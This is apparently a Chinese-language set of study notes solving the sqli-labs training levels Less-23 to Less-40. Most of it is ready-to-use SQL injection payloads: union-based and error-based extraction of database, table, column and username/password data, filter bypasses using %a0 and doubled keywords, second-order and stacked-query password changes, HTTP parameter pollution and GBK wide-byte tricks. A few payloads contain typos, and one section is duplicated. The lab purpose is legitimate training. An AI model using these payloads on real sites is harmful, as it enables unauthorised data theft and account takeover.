less-23——过滤注释的GET型注入
字段名
?id=0' union select 1,2,3 ' 出现的数字是最大的字段为3
数据库名
?id=0' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) '
表名
?id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = database()) '
列名
?id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') '
数据
?id=0' union select 1,2,(select group_concat(username) from users) '
less-24-二次注入
首先先创建一个用户 注意找new user
然后输入数据
username=admin'#
passwd=123
然后会显示成功
然后再登录进去修改密码修改成123456则原来admin用户的密码得到了改变
less-25-过滤[or,and]
注入点[']
数据库名
?id=0' || extractvalue(1,concat(0x7e,(select database()),0x7e)) --+ 单个数据库
?id=0' || extractvalue(1,concat(0x7e,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x7e)) --+ 多个数据库
表名
?id=0' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e)) --+
列名
?id=0' || extractvalue(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),0x7e)) --+
数据
?id=0' || extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)) --+
less-25a-过滤[or,and]
判断数据字段
?id=0 union select 1,2,3 password显示的是最大字段
数据库名
?id=0 union select 1,2,(select group_concat(schema_name) from infoorrmation_schema.schemata)
表名
?id=0 union select 1,2,(select group_cocat(table_name) from infoorrmation_schema.tables where table_schema=database())
列名
?id=0 union select 1,2,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users')
数据
?id=0 union select1,2,(select group_concat(username) from users)
less-26-Trick with comments and space (过滤了注释和空格的注入)
单引号没有被过滤,我们使用两个单引号分别闭合前后的引号。网页回显正常的内容,说明该网页存在单引号闭合的字符型注入
判断什么类型
?id=0' || 1=1 和 ?id=0' || 1=2 回显错误
然后 ?id=0' || '1'='2回显错误
最后 ?id=0' || '1'='1回显正确
数据库名
此时我们可以使用 updatexml() 报错注入,因为这种手法不需要考虑空格的问题。爆数据库名。
多条数据库:?id=0' || updatexml(1,concat(0x7e,(select (group_concat(schema_name)) from (infoorrmation_schema.schemata))),1) || '1'='1
单条数据库:?id=0' || updatexml(1,concat(0x7e,database()),1) || '1'='1
表名
?id=0' || updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=database()),0x7e)) || '1'='1
列名
?id=0' || updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name='users'))),1) || '1'='1
数据
?id=0' || updatexml(1,concat(0x7e,(select (group_concat(username)) from (users))),1) || '1'='1
Less 26a-GET-Blind Based-All your SPACES and COMMENTS belong to us (过滤了空格和注释的盲注)
由于报错信息不回显,所以 updatexml() 报错注入不能使用。此处就需要使用 URL 编码来代替空格,然后用 UNION 注入。判断有几列可用,别忘了 “ORDER” 中的 “or” 被过滤掉了。
判断注入类型
注入正常的参数,网页返回对应 id 的正常信息,注入两个单引号分别闭合前后的引号。网页回显正常的内容,说明该网页存在单引号闭合的字符型注入
?id=1 和 ?id=1'' 回显正确
尝试构造左右半边的空格来闭合,网页回显正常,说明参数有使用单层括号来闭合。
?id=1') || ('1
判断数据字段
?id=0')%a0oorrder%a0by%a03||('1
数据库
?id=0')%a0union%a0select%a01,database(),3%a0||('1
表名
?id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()||('1
列名
?id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'||('1
数据
?id=0')%a0UNION%a0SELECT%a01,group_concat(concat_ws(":",username,passwoORrd)),3%a0FROM%a0users%a0WHERE%a0('1
#Less-27 过滤【 /、*、–、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】
注入点【 ’ 】
检测是什么注入
测试?id=1 and 1=1 和 ?id=1 and 1=2回显相同且回显正确说明不是数字型注入
测试?id=1' and '1'='1 和 ?id=1' and '1'='2回显不同说明是字符型注入
检测字段
?id=1'%a0unIon%a0seLect%a01,2,3'
表名
?id='%a0unIon%a0SeLect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0||'1
列名
?id='%a0unIon%a0SeLect%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0||'1
数据
?id=0'%a0unIon%a0SeLect%a01,group_concat(concat_ws(":",username,password)),3%a0from%a0users%a0where%a0'1
#Less-27a 过滤【 /、*、–、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】
注入点【 " 】
查询字段
Your Password:3这个显示的就是最大字段为3
?id="%a0unIon%a0SelECT%a01,2,3"
查询数据库名
?id="%a0unIon%a0SelEct%a01,database(),3"
查询表名
?id="%a0UnIon%a0SelEct%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()||"
查询列名
?id="%a0UnIOn%a0SelEct%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'||"
查询数据
?id=0"%a0unIon%a0SeLect%a01,group_concat(concat_ws(":",username,password)),3%a0from%a0users%a0where%a0"1
Less-28 过滤【 /*、–、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】
注入点【 ') 】
检测是什么类型
?id=1')and('1')=('1回显正常
?id=1')and('1')=('2回显错误
说明就是')类型
查询数据库名称
?id=0')union%a0select%a01,database(),('
查询表
?id=')union%a0select%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()||('1
查询列名
?id=')union%a0select%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'||('
查询数据
?id=')union%a0select%a01,group_concat(concat_ws(":",username,password)),3%a0from%a0users%a0where('1
Less-28 过滤【 /*、–、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】
注入点【 ') 】
判断是什么类型
?id=1') and ('1')=('2 回显错误
?id=1') and ('1')=('1 回显正确
查数据库
?id=0')%a0union%a0select%a01,database(),3%a0||('
查表名
?id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0||('
查列名
?id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0||('
查数据
?id=')union%a0select%a01,group_concat(concat_ws(":",username,password)),3%a0from%a0users%a0where('
Less-29
知识点:
1.服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。
工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
接下来是参数解析的问题。 问:index.php?id=1&id=2,这时回显是id=1还是id=2呢? 答:apache (php) 解析最后一个参数,即回显id=2;tomcat (jsp) 解析第一个参数,即回显id=1。
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。
工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
接下来是参数解析的问题。 问:index.php?id=1&id=2,这时回显是id=1还是id=2呢? 答:apache (php) 解析最后一个参数,即回显id=2;tomcat (jsp) 解析第一个参数,即回显id=1。
问:index.jsp?id=1&id=2,针对这关的两层结构,客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 请求 apache,apache 解析最后一个参数。那么最终返回客户端的是哪个参数? 答:此处应该还是id=2,因为实际上提供服务的是 apache 服务器,返回的数据也应该是 apache 处理的数据。
而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。
而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。如 payload:index.jsp?id=1&id=0 or 1=1–+,tomcat 只检查第一个参数id=1,而对第二个参数id=0 or 1=1–+不做检查,直接传给了 apache,apache 恰好解析第二个参数,便达到了攻击的目的。
该用法就是 HPP(HTTP Parameter Pollution)即 HTTP 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。
—-来源MySQL注入天书之服务器两层架构
Payload:
1.在开始前选择login.php文件,否则与第一关一样了
login.php?id=1&id=-1’ union select 1,database(),3 –+ ,然后逐步注入。
Less-30
1.id的包裹变为 “ 其他与上一关一样。
login.php?id=1&id=-1” union select 1,database(),3 –+
Less-31
2.id的包裹变为 “) 其他与上一关一样。
login.php?id=1&id=-1") union select 1,database(),3 –+
Less-32
1.宽字节注入。
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);//escape double quote with a backslash
return $string;
}
对 /, ‘, “ 进行了过滤。
通常,一个GBK编码汉字,占用2个字节。
mysql在使用GBK编码时,会认为两个字符为一个汉字。例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。
在%5c%27前添加%df构成%df%5c%27 (%5c : \的编码,%27:’的编码),mysql在GBK编码时,会将两个字节(%df%5c)当作一个汉字,从而将\去除。 (也可以使用 %bf, %81,%82等)
Payload:
1.?id=1%df’ ,得到语法错误提示 id为 ‘ 包裹。
2.?id=1%df’ order by x –+ (x=1,2,3,4) 判断字段。
3.?id=0%df’ union select 1,2,3 –+ ,看回显位置。然后同之前步骤解决。
4.查询列名时采用16进制绕过’‘需求,将 users 转换为16进制,其他照常。
?id=0%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
Less-33
addslashes()函数,addslashes(string)返回在预定义字符之前家反斜杠\字符串:
单引号 ’
双引号 “
反斜杠
空字符 null
注入和上一关一样。
Less-34
所以需要对%df进行优先解码,%df解码后为 �,所以闭合符号为 �'
uname=123�' union select 1,2#&passwd=admin&submit=Submit 检测出字段为2
uname=123�' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(username) from users#&passwd=admin&submit=Submit
Less-35
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
?id=-1 union select 1,group_concat(username),3 from users
Less-36
?id=-1%df' union select 1,2,group_concat(username) from users --+
?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
?id=-1%df' union select 1,2,group_concat(username,password) from users --+
Less-37
所以需要对%df进行优先解码,%df解码后为 �,所以闭合符号为 �'
uname=123�' union select 1,2#&passwd=admin&submit=Submit 检测出字段为2
uname=123�' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&passwd=admin&submit=Submit
uname=123�' union select 1,group_concat(username) from users#&passwd=admin&submit=Submit
Less-38
堆叠注入:
- 介绍与原理:
可以理解为多条SQL语句一起使用。(MySQL的多语句查询)在SQL中,分号(😉 是语句结束的标志,我们可以在一条语句的后方加上; 继续构造下一语句。
堆叠语句与union联合注入区别为:union执行的语句类型是有限的,而堆叠注入可以执行任意语句。
堆叠注入之前要知道数据库的一些相关信息,如:表名,列名等信息。 因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或结果只能被忽略,我们在前端界面无法看到返回结果。
使用条件
mysql_multi_query() 执行多条查询的函数–防止注入改为mysql_query()函数。(mysql_query()函数执行一条MySQL查询)
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
Payload:
1.?id=-1’ union select 1,database(),3 –+ ,正常查询出表名,列名,用户名,密码。
2.?id=1’;update users set password=’123’ where username=’Dumb’; –+ ,采用堆叠注入,查询的同时修改了Dumb的密码为:123,后查询发现成功修改。
检测类型
?id=1 and 1=1 和 ?id=1 and 1=2回显一样
?id=1' and '1'='1回显正常 但是?id=1' and '1'='2回显错误
说明是字符型注入
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,database() --+
?id=-1' union select 1,2,version() --+
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1' union select 1,2,group_concat(concat_ws(":",username,password)) from users --+
Less-39
1.判断为数字型注入。
2.正常注入得到表名等。
3.同38,堆叠注入,还是与38同。(改为数字型)
判断什么类型
?id=1 and 1=1 回显正确
?id=1 and 1=2 回显错误
所以是数字型
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1 union select 1,2,group_concat(concat_ws(":",username,password)) from users --+
Less-40
判断什么类型,闭合符号为(' ')
?id=1') and ('1')=('1回显正确
?id=1') and ('1')=('2回显错误
?id=1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1') union select 1,2,group_concat(concat_ws(":",username,password)) from users --+